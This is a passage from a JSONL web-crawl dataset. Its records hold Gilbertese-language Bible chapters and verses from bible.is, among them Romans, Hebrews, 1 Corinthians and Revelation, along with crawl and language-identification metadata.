te Tua ni kabane ma koaua i nanona; 21ngkoe ae ko reireiia temwaangina, ko a tia n reireiko? Ngkoe ae ko tua te aki ira, ko ira? 22Ngkoe ae ko taku bwa e na aki wene ni bure te aba, ko wene ni bure? Ngkoe ae ko ribai bouananti, ko anai bwain umwantabu n te aro n iowawa? 23Ngkoe ae ko kamoamoako ibukin te Tua, ko kamatauningaa te Atua n riaoakin te Tua iroum? 24Bwa e koreaki ae e kaangai: I bukin aromi, ngkami aika I-Iutaia, ao e a riki n taetaebuakaaki iai aran te Atua irouia aomata aika tiaki I-Iutaia. 25Bwa bon iai boongan te koroberoaki ngkana ko toua mwiin te Tua; ma ngkana te tia ri aon te Tua ngkoe, ao e riki koroberoakim bwa te bwai ae akea nanona. 26Ma ngaia aei, bwa ngkana e toua mwiin ana taeka te Atua ane e aki koroberoaki, ao tiaki e na atongaki iai ngkai e tuai ni koroberoaki bwa aongkoa e a tia ni koroberoaki? 27Ao ngkami aika iai iroumi taekan te Tua ae e koreaki aika kam a tia ni koroberoaki ma kam urua te Tua, ane kam na kabuaakakaaki irouia aika a tuai ni koroberoaki n rabwataia ma a ira nanon te Tua. 28Bwa tiaki te I-Iutaia ni koaua te aomata n taraan aon rabwatana, ao tiaki naba te korobero ni koaua ae e karaoaki i tinanikun te aomata ni kunna. 29Ma te I-Iutaia ni koaua bon te aomata ae te I-Iutaia i nanona; ao te korobero ni koaua boni bwain te nano, ae e nako mai iroun te Taamnei, ma tiaki kanoan te Tua. E reke kamoamoaakin te aomata aei mai iroun te Atua ma tiaki mai irouia aomata.\nROM 2","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/2","date":"2014-04-21T00:09:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609539337.22\/warc\/CC-MAIN-20140416005219-00076-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":854,"character_repetition_ratio":0.061,"word_repetition_ratio":0.012,"special_characters_ratio":0.235,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 1:1818Bwa e kaotaki unin te Atua mai karawa nakoia aomata ake a tia ni kaakaraoa te bure, ma te aro n iowawa; ao ibukin aroia aika a bubuaka n tukiia aomata man ataan te koaua. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/18","date":"2014-04-21T10:19:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609539705.42\/warc\/CC-MAIN-20140416005219-00259-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000056028366089}","num_words":51,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.275,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 3:1313Antai te aomata ae e rabakau ae e atatai i buakomi? E na kaotia ni maiuna ae e raoiroi ao n ana mwakuri aika a raraoi aika e karaoi ma te nimamannei ao te rabakau. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3\/13","date":"2014-04-17T07:54:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609526311.33\/warc\/CC-MAIN-20140416005206-00544-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"gil_Latn_score\": 1.000002145767212}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:3939Ao E taku te Uea nakoina, Ngkami aika Bwaritaio, kam kaitiaka tinanikun te mwangko ma te raurau, ma a on nanomi n tangiran te kan tautaeka ma te kani kaubwai, ao te buaakaka. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/39","date":"2014-04-19T05:20:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609535775.35\/warc\/CC-MAIN-20140416005215-00280-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":0.9999240637,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999240636825562}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae ngaira, ngkai iai taani kakoaua aika a rangi ni bati aika a otabwaniniira, ao ti na kaaki bwaai nako aika a katinebuira, ma te bure ae e nimnimtira, ao ti na biri ma te nanokorakora n te kabobirimwaaka ae e kamenaaki i mwaaira; 2ao ti na tarataraa Iesu are te tia kariki ara onimaki, ao te tia kakoroa; are E taona nanona nakon te kaibangaki, n aki mutiakina kamaamaeana, ibukin te kimwaareirei are kamenaaki i mwaaina; ao E tekateka i angaatain ana kaintokanuea te Atua. 3Kam na iangoa aron Teuare e taotaona nanona nakon ribaakina ae e bati irouia taani bure, bwa a aonga n aki bwara ma n toki nanomi. 4Bwa n ami buaka are kam kaaitaraa iai ma te bure, ao akea iroumi ae e mate. 5Kam a tia ni mwaninga te taeka ni kauunga nano nakoimi ngkai naati ngkami, are e kaangai: Natiu, ko na mwannanoa reireiam iroun te Uea ibukini kaetan arom; Ao e na tai toki nanom ngkana ko boaaki irouna; 6Bwa ane E tangiria te Uea ao E reireia kaetan arona, Ao E kataereia natina ni kabaneia aika E mwaneia n akoiia. 7Kam na taotaon nanomi nakon reireiami ibukini kaetan aromi; bwa te bae e karaoaki nakoimi bon aron te Atua n tabeakiningkami ngkai naati ngkami. Bwa antai te nati ae e na aki reireiaki ibukini kaetan arona iroun tamana? 8A bane n reireiaki naati ibukini kaetan aroia; ma ngkana kam aki reireiaki, ao bon natintamwa iai ngkami, ao tiaki naati ni koaua. 9I rariki aei, bon iai tamara aika taman rabwatara, aika a reireira ni kaeti arora, ao ti karineiia; ao tiaki e raoiroi riki bwa ti na anga ngaira nakon Taman taamneira, ao ti na maiu? 10A reireinira ni kaeti arora tamara aika taman rabwatara i nanon tabe bong n ai aron are a taku bwa e raoiroi iroura; ma te Atua E reireinira bwa e boongana i bukira, bwa ti aonga ni buokanibwai ni maiuna ae e itiaki man te bure. 11Reirei ni kabane ngkai ibukini kaetan aroia aomata a taraa n tiaki te bwai ni kakimwaareirei, ma a taraa ni bwai ni kananokaawaki. Ma rimwi, ao te koraki ake a tia ni kataneiaaki iai a na anaa mwiina ae te maiu ae e rau ae e kaakaraoa nanon te Atua. 12Ma ngaia ae kam na karekei angini baimi akana a kainikamate, ma waemi akana a mamaara bubuniwaeia, 13ao nakonako i aoni kawai aika a eti, bwa e aonga n aki tiba nako toman riin te bubua ni wae are e mamaara, ma e na riki ni marurung iai. 14Kam na keiaki n raoi ma aomata ni kabaneia, ma n tabui maiumi bwa a na bwai te Atua; bwa ngkana akea aei ao e aki konaa te aomata n noora te Uea. 15Kam na tarataraingkami bwa e kaawa temanna ni bwaka man te aakoaki iroun te Atua, ao bwa e kaawa n riki bwa kaanga ai aron te wakaa ae e mao ni kakiriweeingkami, ao a na kamwaraaeaki iai aomata aika a bati. 16E na aki riki temanna bwa te tia wene ni bure, ke te tia kamwaraai baika a tabu aika ana bwai te Atua, n ai aron Etau are e anga nako baika a kakaawaki n reitaki ma arona ni karimoa ibukin te amwarake ae ti teuana taina ni kanaki. 17Kam ataia bwa i mwiina, ngke e kani karekea ana taeka ni kakabwaia tamana, ao e ribaaki; bwa akea te anga ae e na konaa iai ni bita aron are e a tia ni karaoia, e boni ngae ngke e ukoukoria ma te tang. 18Bwa kam tuai roko ni kaania te maunga are e konaaki n riingaki are e ura iai te ai; ao kam tuai ni kaania naba te baere e roroo ma te baere e rootongitong ma te ang are te ukeukenanti, 19ma tangin te buu ma bwanaan te taeka. Ngke a ongo aomata te bwanaa ao a buubuti bwa e na tai atongaki riki te taeka teuana nakoia. 20Bwa a aki konaa n taon nanoia nakon are a tuangaki iai, are e kaangai, Ngkana tao e bo ma rarikin te maunga arei te man, ao e na karebanaaki ni kamateaki. 21Ao moan te kakamaaku noorana, ma ngaia are e kaangai Mote, I bati ni maaku ma n ruru. 22Ma kam kaania te maunga are Tion ma ana kaawa te Atua ae e maiu, are Ierutarem are i karawa, ma anera aika ngaa ma ngaa, 23ma aia bootaki taan onimaki ake naati ake kaanga ai aroia moan nati, aika a koreaki araia i karawa; ao kam kaania naba te Atua ae te tia motiki-taekaia aomata ni kabaneia, ao kam kaaniia naba taamneiia aomata ake a bwaabwaina te eti, ake a tia ni karaoaki bwa a na kororaoi aroia n reitaki ma nanon te Atua. 24Ao kam kaania Iesu, are Ngaia ae e reke mai irouna te booraraoi ae e boou, n raraana are e katimtimwaki, are e kaota te bae e raoiroi riki nakon are e taekinna Abera. 25Kam na tarataraingkami bwa kam na aki rawa nakon Teuare e taetae. Bwa ngke a aki konaa n rawei maiuia ake a rawa nakon Teuare e taetae i aon te aba, ao ti bon aki konaa n rawei maiura ngaira aikai ngkana ti tannako mai iroun Teuare e taetae mai karawa; 26are e kamwaeieia te aba bwanaana n te tai arei, ao E taetae ngkai ni kaangai, Ai ti teuana riki kamwaeieian tiaki ti aonnaba irou, ma kamwaeieian naba karawa. 27Ao te taeka ae e kaangai, Ti teuana riki, e kaota kamaunaani baike a kamwaeieiaki bwa kaanga baika a karaoaki, bwa a aonga n teimatoa n tiku baike a aki konaaki ni kamwaeieiaki. 28Ma ngaia aei, ngkae e a reke iroura te abanuea ae e aki konaaki ni kamwaeieiaki, ao ti riai ni kaaitau ma n taromauriia te Atua n te aro ae E na kukurei iai, ao ni kaota te karinerine ma te maaku; 29bwa Atuara ai aron te ai ae e kamaamate.\nEBERA 12","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/12","date":"2014-04-24T15:30:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1398223206147.1\/warc\/CC-MAIN-20140423032006-00322-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":999,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 21:3939Ao e taku Bwauro, Te aomata ae te I-Iutaia ngai, ae te I-Tareto are i Kirikia, ae kaain te kaawa ae e aki mangori; I butiiko bwa ko na kariaia bwa N na taetae nakoia aomata. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/21\/39","date":"2014-04-16T19:53:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609524644.38\/warc\/CC-MAIN-20140416005204-00247-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":0.9999991655,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 0.9999991655349731}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 BETERO 3:1010Bwa e kaangai te Baibara, Ane e kani maiu ni kukurei Ma ni kan noori boong aika a raraoi, e na kaawakina newena man te taetae ae e buaakaka, ao riana man taekinan te kewe. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/3\/10","date":"2014-04-18T21:13:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609535095.9\/warc\/CC-MAIN-20140416005215-00309-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":0.9999494553,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 0.9999494552612305}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E na moamoa iroumi te tangira; ma kam na bati n tangiri naba bwaai n tituaraoi ake mai iroun te Taamnei, ma ai moa ra riki bwa kam na konaa n taetae ni buraabeti. 2Bwa te aomata ae taetae n te taetae ae e aki ataaki, e aki taetae nakoia aomata, ma e taetae nakon te Atua; bwa akea ae e ataa nanon te baere e taekinna: bwa e taekin, ni mwaakan te Taamnei, baika a raba. 3Ma te aomata ae e taetae ni buraabeti nakoia aomata, e buokiia ni kateimatoaiia ma ni kakorakoraiia, ao e anganiia kabeebetean nanoia. 4Ane e taetae n te taetae ae e aki ataaki ao e kateimatoaa i bon irouna; ma ane e taetae ni buraabeti ao e buoka te ekaretia ni kateimatoaa. 5I tangiringkami bwa kam na taetae n taetae aika a aki ataaki, ma e a raoiroi riki ngkana kam taetae ni buraabeti. E boongana riki te aomata ane e taetae ni buraabeti nakon ane e taetae n taetae aika a aki ataaki; ma ti ngkana iai ae e konaa ni kabwrabwaraa nanon ana taeka bwa e aonga n reke kateimatoaan te ekaretia iai. 6Ma ngaia aei, taari, ngkana arona bwa I roko iroumi n taetae n taetae aika a aki ataaki, ao tera kabwaiami iai irou? Bon akea, ma ti ngkana I taekina nakoimi kanoan te kaotioti are e roko nakoiu, ke n taekin taekan te atatai ma te taeka ni buraabeti, ke te taeka n reirei. 7Ngke arona bwa ti te bo aron tangini bwaai ni katangitang aika akea te maiu i nanoia, n ai aron te kaibwaabwaa ke te aabi, ao e na iraanaki n ataaki tangin te kaibwaabwaa ke tangin te aabi? 8Bwa ngkana e tangi te buu n te tangitang ae aki akaka, ao antai ae e na katauraoi nakon te buaka? 9Ao ai aromi naba, ngkana kam aki bwaina te taetae ae kai ataaki nanona, ao e na iraanaki n ataaki nanon te baere e taekinaki? Bwa ane kam na taetae nakon te ang. 10Tao a bati aekan taetae nako i aonnaba, ma akea i buakoia ae akea nanona. 11Ma ngaia ae ngkana I aki ataa nanon te taetae, ao I riki bwa kaanga kaain te aba teuana ngai nakon ane e taetae, ao ane e taetae bwa kaanga kaain te aba teuana nakoiu. 12Ao ai aromi naba, ngkai kam rangi n tangiri bwaai n tituaraoi ake mai iroun te Taamnei, ao kam na ukoukori bwa a na mwaiti iroumi ibukini kateimatoaan te ekaretia. 13Ma ngaia aei, bwa ane e taetae n te taetae ae e aki ataaki, ao ke e tataro bwa e na konaa ni kabwarabwaraa nanona. 14Bwa ngkana I tataro n te taetae ae e aki ataaki, ao e tataro taamneiu, ma e aki boongana nanou. 15Ao tera ngkanne? N na tataro n taamneiu, ao N na tataro naba ni kaboonganaa au iango; N na anene n taamneiu, ao N na anene naba ni kaboonganaa au iango. 16Bwa ngkana ko tataro ni katituaraoi n te tamnei, ao e na iranna n atonga te Amene n am katituaraoi te aomata ae e kan rin n te ekaretia ma e tuai n rin, ngkae e aki ataa am taeka? 17Bwa e ngae n ae e raoiroi am tataro ni katituaraoi, ma e bon aki kateimatoaaki iai raom. 18I katituaraoa te Atua ngkae e bati n reke irouu te konaa n taetae n taetae aika a aki ataaki nakon ane e reke iroumi. 19Ma n te bootaki n ekaretia ao I tangiria riki bwa N na atongi nimaua te taeka aika a aki kamangaongao, bwa I aonga n reireia naba te koraki ae e bati, nakon atongan tebwina te ngaa te taeka n te taetae ae e aki ataaki. 20Taari, kam na tai bwaina te nano n ataei; ma kam na riki bwa merimeri nakon te buaakaka, ao kam na bwaina te nano n ikawai. 21E koreaki n te Tua ae e kaangai: E taku te Uea, N na taetae nakon te bootanaomata aei n taetae aika a aki ataaki, ni wiia aomata temwaangina; ma a bon aki ongo naba irou. 22Ma ngaia ae bon te kanikina taetae aika a aki ataaki, tiaki nakoia akana onimaki, ma nakoia akana aki onimaki; ao te taetae ni buraabeti bon te kanikina nakoia akana onimaki, ma tiaki nakoia akana aki onimaki. 23Ma ngaia aei, ngkana tao a bane kaain te ekaretia ni bootaki, ao a bane n taetae n taetae aika a aki ataaki, ao ngkana a rin i buakoia aomata akana aki onimaki ma akana kan rin n te ekaretia ma a tuai n rin, ao tiaki bwa a na taku bwa kam rangirang? 24Ma ngkana tao a bane n taetae ni buraabeti ao e rin temanna ae e aki onimaki ke temanna ae e kan rin n te ekaretia ma e tuai n rin, ao e na namakinna bwa bon te tia bure ngaia, n ongoraana ni bwaai ni kabane ake a taekinaki, ao e na motikaki naba taekana iai; 25a na kaotaki baika a raba i nanona, ao ane e na katorobubua ni bobaraaki n taromauriia te Atua, ao e na kaotia bwa e boni mena te Atua iroumi. 26Ao tera ngkanne, taari? Ngkana kam bootaki, ao temanna e anene, ao temanna e reirei, ao temanna e taekina te kaotioti are e roko irouna, ao temanna e taetae n te taetae ae e aki ataaki, ao temanna e kabwaraa nanon te taetae ae e aki ataaki; a na bane ni karaoaki baikai ibukini kateimatoaaia akana onimaki. 27Ngkana iai akana taetae n taetae aika a aki ataaki, ao a na taetae ti uoman, ke e na aki raka i aon teniman, ma e na taetae moa temanna ao i mwiina temanna; ao ke e kabwarabwarai nanon taeka temanna. 28Ma ngkana akea te tia kabwaraa nanon taeka, ao ke e kainabwaabu n te bootaki n ekaretia te aomata ane e rabakau n taetae n te taetae ae e aki ataaki; ke e taetae bon ti nakoina ma te Atua. 29Ke a taetae uoman ke teniman ake nakoaia te taetae ni buraabeti, ao temwaangina a na iangoi raoi nanon taeka ake a taekinaki. 30Ma ngkana iai i buakoia ake a tekateka ae iai te kaotioti ae e roko irouna, ao e na toki n taetae are e taetae. 31Bwa kam bane ni konaa n taetae ni buraabeti n tatabemaningkami nako, bwa a aonga ni bane n reireiaki ami koraki, ao a na bane naba ni kakorakoraaki nanoia; 32ao a tauaki aroia tamneiia buraabeti irouia buraabeti. 33Bwa te Atua, tiaki Atuan te mwebuaka, ma bon Atuan te raoi. Ao n aron are e bwainaki n aia ekaretia Kristian ni kabaneia: 34a na tai taetae aine n te bootaki n ekaretia nako; bwa e aki kariaiakaki bwa a na taetae; ma a na tauaki aroia, n ai aron taekana naba n te Tua. 35Ngkana iai te bae a kan ataa taekana, ao ke a titirakiniia buia ni mwengaia; bwa te bwai ni kamaamaa ngkana e taetae te aine n te bootaki n ekaretia. 36E nako mai iroumi ana taeka te Atua? Ke e roko iroumi n ti ngkami? 37Ngkana e taku temanna bwa te buraabeti ngaia, ke e taku bwa iai irouna te bwai n tituaraoi are mai iroun te Taamnei, ao ke e ataia bwa baika I koroi taekaia nakoimi bon te tua mai iroun te Uea; 38ma ngkana iai ane e aki ataia, ao ke e aoria n arona anne. 39Ma ngaia aei, tariu, kam na bati n tangira te taetae ni buraabeti, ao tai tuuka te taetae n taetae aika a aki ataaki. 40Ma a na bane bwaai ni karaoaki n te aro ae e taraa raoi ma n eti raoi.\n1 KORINTO 14","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14","date":"2014-08-01T12:48:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510274979.56\/warc\/CC-MAIN-20140728011754-00276-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1283,"character_repetition_ratio":0.103,"word_repetition_ratio":0.009,"special_characters_ratio":0.235,"stopwords_ratio":0.471,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 11:33Ma I maaku bwa a kaawa n anaaki nanomi, n ai aron Nei Ewa ngke e mwaamwanaaki n nanowanawanan te naeta, ao kam kiitana aromi n reitaki ma Kristo ae e nako raoi ma n itiaki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/3","date":"2014-08-01T13:57:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510274987.43\/warc\/CC-MAIN-20140728011754-00014-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":0.9999862909,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999862909317017}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Oin te kaantaninga ni baika ti taekin bon aei: bwa iai iroura te Ibonga ae e Kakannato, are e tekateka i angaatain ana kaintokanuea ae e kakannato te Atua i karawa. 2Bon te tia mwakuri Ngaia n te tabo are moanibaan te tabu are n te umwanrianna ni koaua, are E kateia te Uea, ma tiaki te aomata. 3Bwa a rineaki ibonga aika a kakannato n tatabemaniia nako nakon aia mwakuri bwa a na angaanga bwaintituaraoi ma karea; ma ngaia ae e bon riai iroun ara Ibonga ae e Kakannato bwa e na iai naba te bwai ae E na anga bwa te karea. 4Ngke arona bwa E na mena i aon te aba, ao bon tiaki te ibonga, ngkai bon iai ibonga aika anga bwaintituaraoi n aron are e tangiraki n te Tua. 5Te mwakuri n ibonga are a karaoia bon ti katootoongan ao nuun are i karawa. Bon ti te bo ma are e riki nakoni Mote. Ngke e nang katea te umwanrianna, ao E kaangai te Atua, Ko na taraia bwa ko na karaoi bwaai ni kabane n ai aron te bwai ni kakairi are e kaotaki nakoim i aon te maunga. 6Ao E a reke iroun Iesu ngkai te nakoa n ibonga ae e rangi ni kakannato riki; ngkai Ngaia ae e konaa ni karekea te boorarao iae raoiroi riki i marenan te Atua ma ana aomata, ae te booraraoi ae e boboto i aon taian taeka n aakoi aika a raraoi riki. 7Ngke tao arona bwa e kororaoi raoiroin te moani booraraoi arei, ao a na akea kainnanoan are te kauoua. 8Bwa E kabuaakakaia ana aomata te Atua, ngke E kaangai, Noria, a na roko boong, aika N na karaoa iai te booraraoi ae e boou ma te bootanaomata ae Iteraera ao te bootanaomata ae Iuta. 9E na aki ti te bo ma te booraraoi are I karaoia ma aia bakatibu n te bong are I tauu baiia iai ni kaotinakoia man te aba are Aikubita, ibukina ngke a aki kakaonimaki nakon au booraraoi; ai ngaia anne are I aki mutiakiniia iai, bon ana taeka te Uea. 10Bwa aio te booraraoi ae N na karaoia ma te bootanaomata ae Iteraera i nanoni boong aika a na roko, bon ana taeka te Uea: N na karin au tua i nanon aia iango, ao N na koroi i nanoia. N na riki bwa Atuaia, ao ngaiia a na riki bwa au aomata. 11Ao a na aki manga i reirei: akea temanna ae e na reireia kaain ana kaawa, ke e na reireia tarina, ni kaangai, Kam na ataa te Uea. Bwa ane a na bane n ataai akana a moani mangori ma akana a moani kakannato. 12Bwa N na nanoangaiia ni kabwarai aia buaakaka, ao N aki manga uring aia bure. 13Ngkae E kaangai, Te booraraoi ae e boou; ao nanona bwa te Atua E a tia ni karaoa te moani booraraoi bwa te bwai nikawai; ao te bwai ae e a bwai nikawai ma ni m ane e waekoa ni mauna.\nEBERA 8","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/8","date":"2014-07-22T18:06:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997860453.15\/warc\/CC-MAIN-20140722025740-00079-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":506,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.5,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MATAIO 1:1919Ao Iotebwa are e na bunna, ngkai te aomata ae e nanoanga, ao e aki kani kamamaaea Nei Maria i mataia aomata, e reke ana iango bwa e na kabwaraa aia kabae ni karabaa taekana. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/1\/19","date":"2014-07-26T11:48:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997901076.42\/warc\/CC-MAIN-20140722025821-00130-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":0.9999219179,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 0.9999219179153442}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao te Tiibuteteei ngke E kaaki te bwai ni kanim are te kanikina are te kaitiua man te niira ni boki, ao e kainabwaabu te aba i karawa i nanon tao te itera n aoa. 2Ao I nooriia anera ake itiman ake a teitei i matan te Atua; ao a anganaki taiani buu aika itiua. 3Ao e roko te anera temanna, ao e tei i rarikin te baonikarea, ao iai irouna te baan ae te koora ae te baan ibukini kabuokani karea aika a boiarara; ao e anganaki karea aika a boiarara aika a bati, bwa e na uaia ni kaaki ma aia tataro ake a itiaki ni kabaneia i aon te baonikarea are te koora are i nanoaan te kaintokanuea. 4Ao e aeto rake bubuni karea ake a boiarara, ma aia tataro ake a itiaki mai bain te anera are e tei i matan te Atua. 5Ao e anaa te baan te anera, ao e kanoaia n ain te baonikarea, ao e tewea nako aon te aba; ngke e karaoa aei ao e rebwetata te bwa ma n rurungaa, ao e itiiti, ma ni mwaeiei aon te aba. 6Ao anera ake itiman, ake iai irouia taiani buu ake itiua, a katauraoiia bwa a na katang. 7Ngke e katanga ana buu te moa n anera, ao te karau ae e matoatoa ae te aiti, ma te ai, aika a renganaki n te raraa, a teweaki nako aon te aba; ao e kabuokaki kateni-mwakoron aonnaba, ao a kabuokaki kateni-mwakoroni mwaitini kaai, ao e bane ni kabuokaki te uteute ae e maawaawa. 8Ngke e katanga ana buu te anera are te kauoman, ao e teweaki nako marawa te bwai teuana ae kaanga ai aron te maunga ae e abwaabwaki ae e ura n te ai; ao e riki n raraa kateni-mwakoroni marawa; 9ao a mate kateni-mwakoroni mwaitiia ake a maiu ake i marawa; ao a uruaki kateni-mwakoroni mwaitini kaibuke. 10Ngke e katanga ana buu te anera are te kateniman, ao e bwaka mai karawa te itoi ae e abwaabwaki, ae e ura n ai aron te oi, ao e bwaka i aoni kateni-mwakoroni mwaitini karaanga, ao i aoni koburaken raan. 11Ao aran te itoi arei e atongaki bwa Mao: ao e riki ni mao kateni-mwakoron raan; ao a bati aomata ake a mate ngke a mooi n raan akekei, ibukina ngke a riki ni mao. 12Ngke e katanga ana buu te anera are te kaaman, ao e uruaki kateni-mwakoron taai, ma kateni-mwakoron namwakaina, ma kateni-mwakoron itoi; bwa e aonga ni karooaki kateni-mwakoroia, ao bwa e aonga n aki oota kateni-mwakoron te ngaina, ao ai aron naba te bong. 13Ao I taratara nako ao I noora te ikare ae ti ngaia ni kibakiba i eta ike e rietaata i aani karawa; ao e kaangai n te bwanaa ae e korakora, A na reke kaiia, a na reke kaiia, a na reke kaiia kaain aonnaba ngkana a tang bwanaan i buu ake tabeua ake aia buu anera ake teniman ake a nang katang.\nTE KAOTIOTI 8","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/8","date":"2014-07-12T06:24:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1404776431372.37\/warc\/CC-MAIN-20140707234031-00017-ip-10-180-212-248.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":501,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma bon iai buraabeti ni kewe i buakoia aomata ngkekei, ao ai bon arona naba bwa a na iai i buakomi taan reirei ni kewe, aika a na uoti n te aro ni karaba taiani koaua aika a kaairua aika a na urua te onimaki, ao a na kaakeaa te Toka are e kainaomataiia; ao n te aro aei a na karoko mateia iai ni waekoa. 2Ao ane a na mwaiti aomata aika a na kakairi irouia n tamware; ao ibukin aroia anne, ao e na kabuaakakaaki iai 